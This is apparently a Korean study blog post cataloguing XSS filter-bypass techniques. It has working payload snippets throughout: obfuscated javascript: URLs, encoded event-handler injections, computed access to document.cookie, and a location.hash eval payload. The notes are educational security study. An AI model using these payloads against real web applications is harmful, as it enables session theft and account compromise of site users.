Web Hacking/Study

XSS 필터링 우회

박연준 2023. 12. 21. 21:22

자바스크립트 코드를 실행할 수 있는 HTML 태그는 <script> 이외에도 상당수 존재한다.

대표적으로 이벤트 핸들러를 지정하는 on으로 시작하는 속성들이 있으며 onload, onerror, onfocus가 존재

 

이벤트 핸들러

  • onload - 해당 태그가 요청하는 데이터를 로드한 후에 실행, 만약 로드에 실패하였다면 실행되지 않음
  • onerror - 해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행, 만약 로드에 성공했다면 실행 x
  • onfocus - input 태그에 커서를 클릭하여 포커스가 되면 실행되는 이벤트 핸들러이며, 일반적으로 공격 상황에서 input 태그의 autofocus 속성을 이용해 자동으로 포커스 시키거나, URL의 hash 부분에 input 태그의 id 속성 값을 입력해 자동으로 포커스 되도록 함

 

문자열 치환

script라는 키워드를 제거하는 방식의 필터링이 있다고 가정하면 scrscriptipt 처럼 중간에 삽입된 키워드가 제거되면서 원본 키워드를 만들어내는 방식으로 우회 가능

 

 

활성 하이퍼링크

javascript: 를 이용하여 URL 로드 시 자바스크립트 코드를 실행할 수 있음

URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용 가능

<a href="javascript:alert(document.domain)">click me!</a>
<iframe src="javascript:alert(document.domain)">

 

위의 방법을 필터링 할 경우 정규화나 HTML Entitiy 인코딩을 통해 우회가 가능하며, 정규화는 서로 다른 URL들을 통일된 형태로 변환하는 과정인데 \x01, \x04, \t와 같은 특수문자들이 제거되고, 스키마의 대소문자가 통일된다.

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">

 

또 URL 객체를 통해 href, protocol, pathname 등 URL의 각종 정보를 추출하여 다음과 같은 방법도 사용 가능

normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

 

 

대소문자

특정 키워드의 대소문자를 모두 검사하지 않을 경우 sCriPt처럼 대소문자를 혼합하여 우회 가능

 

 

정규표현식

일반적으로 키워드를 필터링할 때에는 정규표현식을 이용하며, 만약 정규표현식 필터링 자체에 문제가 있는 경우 정규표현식을 만족하면서 XSS 공격 구문을 삽입하는 것이 가능하다.

 

 

다양한 태그 사용

script, img, input 태그가 필터링 적용이 되어 있다면 video 태그나 iframe 등 여러 태그들 사용 가능 

 

 

유니코드 사용

자바스크립트는 Unicode escpae sequence을 지원하므로 "\uAC00" = "가" 처럼 유니코드 문자를 코드포인트로 나타낼 수 있으며 이를 이용해 우회해 볼 수 있다.

 

Computed member access

객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하게 하여 우회할 수 있는 방법이 존재하며, 유니코드와 다른 방법들과 결합하여 우회를 시도해볼 수 있다.

document["coo"+"kie"] == document["cookie"] == document.cookie


alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

 

 

JSfuck

[ ] ( ) ! + 의 특수문자 만으로 모든 동작을 수행할 수 있도록 변환해주는 사이트

https://jsfuck.com/

 

JSFuck - Write any JavaScript with 6 Characters: []()!+

 

jsfuck.com

 

템플릿 리터럴 사용

백틱 ` 을 이용하여 선언이 가능하고 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있다.

var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."

 

 

String.fromCharCode 함수

String.fromCharCode 함수는 유니코드의 범위 중 파라미터로 전달된 수에 해당 하는 문자를 반환한다.

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

 

 

진법 변환

10진수 숫자를 36진수나 다른 진법의 숫자로 변경하여 아스키 영어 소문자 범위를 모두 생성할 수 있다. 문법 오류를 피하기 위해 괄호를 이용하거나, 점 두개를 쓰거나, 소수점으로 인식되지 않도록 공백과 점을 조합해 사용이 가능하다.

var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"

 

 

document.body.innerHTML

innerHTML로 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않기 때문에 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야 한다.

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

 

 

더블 인코딩

웹 서버가 방화벽을 거친 데이터를 다시 디코딩해서 사용할 경우 더블 인코딩 방식으로 우회 가능

 

location.hash

삽입할 수 있는 코드의 길이가 제한되어 있는 경우 location.hash 방법 사용 가능

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

 

'Web Hacking > Study' 카테고리의 다른 글

Relative Path Overwrite (RPO) 취약점이란  (0) 2024.01.02
CSP(Content Security Policy)  (1) 2023.12.23
Error & Time based SQL Injection  (0) 2023.07.01
ExploitTech: Blind SQL Injection Advanced  (0) 2023.07.01
Background: SQL Features  (0) 2023.07.01